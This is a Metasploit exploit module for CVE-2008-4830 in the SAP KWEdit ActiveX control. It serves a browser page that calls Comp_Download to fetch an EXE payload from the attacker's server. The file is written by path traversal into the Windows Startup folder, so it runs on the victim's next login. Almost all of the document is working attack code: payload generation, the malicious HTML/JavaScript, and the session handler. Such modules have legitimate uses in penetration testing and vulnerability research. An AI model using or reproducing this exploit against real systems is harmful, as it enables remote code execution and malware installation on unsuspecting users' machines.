This Metasploit module allows remote attackers to place arbitrary files on a users file system by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).
c028aa1aba49bcdf2f915cc27582fb2f1fa7090e144741d9f3a5d81e7227f5a8##
# $Id: enjoysapgui_comp_download.rb 11189 2010-12-01 03:18:05Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41).
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 11189 $',
'References' =>
[
[ 'CVE', '2008-4830'],
[ 'OSVDB', '53680'],
[ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '??? ?? ????'))
register_options(
[
OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']),
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(20) + 1)
content = %Q|
<html>
<head>
<script>
try {
var #{vname} = new ActiveXObject('Kweditcontrol.KWedit.1');
#{vname}.Comp_Download("#{payload_url}","#{datastore['PATH']}/#{exe}.exe");
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
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%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
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